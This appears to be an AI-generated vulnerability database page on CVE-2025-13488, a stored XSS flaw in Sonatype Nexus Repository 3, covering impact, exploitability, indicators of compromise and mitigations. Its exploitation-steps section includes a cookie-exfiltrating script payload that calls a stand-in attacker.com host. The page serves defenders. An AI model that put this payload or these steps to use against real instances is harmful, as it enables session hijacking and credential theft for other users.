CVE-2025-13488
Sonatype Nexus 3 vulnerability analysis and mitigation

Overview

CVE-2025-13488 is a stored cross-site scripting (XSS) vulnerability in Sonatype Nexus Repository 3, caused by a regression introduced in version 3.83.0 that removed a security header from certain user-uploaded content served from repositories. It affects Nexus Repository 3 CE/Pro versions 3.83.0 through 3.86.2 (both Community and Professional editions). The vulnerability was disclosed on December 4, 2025, discovered by external researcher Seif Elsallamy (@0x21SAFE) via Sonatype's Bug Bounty Program, and fixed in version 3.87.0. It carries a CVSS v4.0 base score of 5.1 (Medium) (Sonatype Advisory, Feedly).

Technical details

The root cause is a regression (CWE-79: Improper Neutralization of Input During Web Page Generation) introduced in version 3.83.0, where a security response header — specifically a Content-Security-Policy or Content-Disposition header — was inadvertently dropped for content served from repository paths (/repository/). Without this header, browsers may interpret uploaded files as active content rather than downloads, enabling stored XSS execution in the context of other authenticated users. An attacker must have authenticated access with repository upload privileges; exploitation requires a victim user to access or browse the malicious artifact in a browser. All repository types are affected: hosted, proxy, and group repositories (Sonatype Advisory).

Impact

Successful exploitation allows an authenticated attacker to inject and persistently store malicious scripts that execute in the browser context of other users who access the affected repository content. This can lead to privilege escalation within the Nexus Repository instance, session hijacking, credential theft, or unauthorized actions performed on behalf of victim users. Proxy repositories introduce an additional attack vector: if an upstream repository being proxied is compromised, malicious content could be delivered to users without the attacker needing direct upload access to the target Nexus instance (Sonatype Advisory).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported. The vulnerability requires authentication and upload privileges, limiting the attacker pool. The EPSS score is approximately 0.047% (very low probability of exploitation in the near term). The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was responsibly disclosed through Sonatype's Bug Bounty Program and no threat actor attribution has been identified (Sonatype Advisory, Feedly).

Exploitation steps

  1. Reconnaissance: Identify a Nexus Repository 3 instance running versions 3.83.0 through 3.86.2 (e.g., via version disclosure on the login page or HTTP response headers).
  2. Authenticate: Log in with an account that has repository upload privileges on at least one hosted repository.
  3. Craft malicious artifact: Prepare a file (e.g., an HTML file or a file with an HTML-interpretable MIME type) containing a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Upload to repository: Upload the crafted file to a hosted repository via the Nexus UI or REST API (/service/rest/v1/components).
  5. Deliver link to victim: Trick an authenticated user (e.g., an administrator) into browsing or clicking the direct repository URL for the uploaded artifact (e.g., https://nexus.example.com/repository/<repo-name>/<path-to-file>).
  6. XSS executes: Because the missing security header allows the browser to render the file as active content, the injected script executes in the victim's browser session, enabling session token theft, privilege escalation, or further actions within the Nexus instance (Sonatype Advisory).

Indicators of compromise

  • Network: Unexpected outbound HTTP requests from a user's browser to external domains shortly after accessing repository content; unusual GET requests to /repository/ paths for HTML or script-like files.
  • Logs: Nexus access logs showing uploads of .html, .htm, .svg, or other browser-renderable file types to hosted repositories by non-administrative accounts; subsequent access to those same paths by other users (especially administrators).
  • File System: Presence of HTML or script files in repository blob storage that are not expected build artifacts for the configured repository format.
  • Application: Unexpected user account changes, new admin accounts, or altered permissions in Nexus Repository following access to repository-served content.

Mitigation and workarounds

Sonatype strongly recommends upgrading all affected Nexus Repository 3 instances to version 3.87.0 or later, which restores the missing security header. If immediate upgrade is not possible, two temporary mitigations are available: (1) Set the "Content Disposition" option in repository settings to attachment, which forces browsers to download files rather than render them; (2) Configure a reverse proxy (e.g., nginx or Apache) to inject a Content-Security-Policy: sandbox header for all responses served from /repository/ paths. Organizations should also audit upload permissions and restrict repository upload access to trusted users only (Sonatype Advisory, Sonatype Release Notes).

Community reactions

Sonatype disclosed the vulnerability through its official support portal and Bug Bounty Program, crediting researcher Seif Elsallamy (@0x21SAFE) for responsible disclosure. The advisory emphasizes the widespread use of Nexus Repository and encourages rapid remediation. No significant independent researcher commentary or broad media coverage has been identified beyond the vendor advisory.

Additional resources


SourceThis report was generated using AI

Related Sonatype Nexus 3 vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-11403HIGH8.7
  • Sonatype Nexus 3 logoSonatype Nexus 3
  • cpe:2.3:a:sonatype:nexus_repository_manager
NoYesJul 14, 2026
CVE-2026-14504HIGH8.2
  • Sonatype Nexus 3 logoSonatype Nexus 3
  • cpe:2.3:a:sonatype:nexus_repository_manager
NoYesJul 14, 2026
CVE-2026-7494MEDIUM5.3
  • Sonatype Nexus 3 logoSonatype Nexus 3
  • cpe:2.3:a:sonatype:nexus_repository_manager
NoYesJul 14, 2026
CVE-2026-14645MEDIUM5.1
  • Sonatype Nexus 3 logoSonatype Nexus 3
  • cpe:2.3:a:sonatype:nexus_repository_manager
NoYesJul 14, 2026
CVE-2026-14646MEDIUM4.9
  • Sonatype Nexus 3 logoSonatype Nexus 3
  • cpe:2.3:a:sonatype:nexus_repository_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management